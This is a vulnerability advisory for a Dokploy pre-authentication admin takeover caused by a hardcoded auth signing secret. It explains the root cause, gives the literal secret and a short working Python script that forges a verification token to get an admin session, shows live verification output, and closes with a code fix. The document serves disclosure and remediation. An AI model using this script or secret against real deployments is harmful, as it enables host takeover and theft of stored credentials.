CVE-2026-45631: Dokploy Pre-Auth Admin Takeover via Hardcoded Auth Secret
Overview
| CVE | CVE-2026-45631 |
| Advisory | GHSA-w3gm-rc4p-9rhj |
| Component | packages/server/src/constants/index.ts (BETTER_AUTH_SECRET fallback) |
| Affected | Dokploy 0.27.0 through 0.28.8 (official install script) |
| Class | CWE-798 (Use of Hard-coded Credentials) |
| CVSS v3.1 | 10.0 (Critical) -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Found by | Lukas Johannes Moeller (@JohannesLks) |
TL;DR
Dokploy falls back to a hardcoded BETTER_AUTH_SECRET when the environment variable is unset. The official install script never sets it, so every default self-hosted instance shares the same signing key. An unauthenticated attacker forges an email-verification JWT, rides the autoSignInAfterVerification path to a valid admin session, and reaches host command execution through the built-in SSH terminal.
Root Cause
The server module exports a constant with a literal fallback:
// packages/server/src/constants/index.ts:88-89
export const BETTER_AUTH_SECRET =
process.env.BETTER_AUTH_SECRET || "better-auth-secret-123456789";
Three properties combine into the takeover:
- The install script published at
dokploy.com/install.shnever setsBETTER_AUTH_SECRET, so the fallback applies in default deployments. - better-auth's
/api/auth/verify-emailhandler validates verification tokens by HS256 signature only, with no per-user lookup against a stored challenge. A valid signature is sufficient. - Dokploy configures
autoSignInAfterVerification: true, so a successful verification creates a database session and setsbetter-auth.session_tokenon the response.
Self-hosted admin users register with emailVerified: false; Dokploy never sends a real verification mail. The handler's "already verified" early-return therefore does not fire on the very accounts an attacker wants to take over.
Trigger
An attacker who knows (or guesses) the admin email forges the verification token offline and hits the endpoint once:
import jwt, time, requests
SECRET = "better-auth-secret-123456789"
TARGET = "https://dokploy.example.com"
token = jwt.encode(
{"email": "admin@example.com",
"iat": int(time.time()),
"exp": int(time.time()) + 3600},
SECRET, algorithm="HS256")
s = requests.Session()
s.get(f"{TARGET}/api/auth/verify-email?token={token}")
# s.cookies now contains better-auth.session_token = admin session
A second variant uses requestType: "change-email-verification" with an attacker-controlled updateTo field. That path mints a session even for accounts that already have emailVerified: true, by overwriting the admin email as part of the same request.
Live verification (excerpt)
--- Phase 1: Hardcoded Secret Confirmed ---
BETTER_AUTH_SECRET env: NOT_SET
Source grep: found "better-auth-secret-123456789" in /app/packages/server/dist/
--- Phase 3: ATTACK -- Forged JWT Auto-Sign-In ---
GET /api/auth/verify-email?token=<forged_jwt>
[+] Session cookie: better-auth.session_token=h6p8eKZdTJ6...
--- Phase 4: Admin Access Verification ---
[+] /api/trpc/project.all: {"result":{"data":{"json":[]}}}
The authenticated tRPC call from a fresh container confirms that the forged cookie grants the same access as a normal admin login.
Impact
- Pre-auth admin takeover on the default Dokploy install. No prior account, no user interaction.
- Admin role exposes Settings > Server > Terminal, an interactive SSH shell on the Dokploy host. That escalates the auth bypass into command execution against the PaaS host itself.
- The Dokploy host stores deployment keys, registry credentials, and database connection strings for every managed application. A successful takeover therefore reaches every hosted workload, not only the Dokploy control plane.
- Scope is Changed: the broken component (better-auth signing key) is distinct from the impacted component (the Dokploy host operating system).
Fix
The fallback must be removed. A safe default does two things at once: generate a cryptographically random secret on first start, and persist it inside the existing /etc/dokploy volume so the secret survives container restarts.
// replaces the literal fallback
const getOrCreateAuthSecret = (): string => {
if (process.env.BETTER_AUTH_SECRET) {
return process.env.BETTER_AUTH_SECRET;
}
const secretPath = process.env.NODE_ENV === "production"
? "/etc/dokploy/.auth-secret"
: path.join(process.cwd(), ".docker", ".auth-secret");
try {
const existing = fs.readFileSync(secretPath, "utf-8").trim();
if (existing.length >= 32) return existing;
} catch {}
const generated = crypto.randomBytes(32).toString("base64");
fs.mkdirSync(path.dirname(secretPath), { recursive: true });
fs.writeFileSync(secretPath, generated, { mode: 0o600 });
return generated;
};
export const BETTER_AUTH_SECRET = getOrCreateAuthSecret();
Existing deployments that already set BETTER_AUTH_SECRET via env are unaffected. New installations and any instance still on the hardcoded default get a unique random secret on first startup, which invalidates pre-computed forged tokens.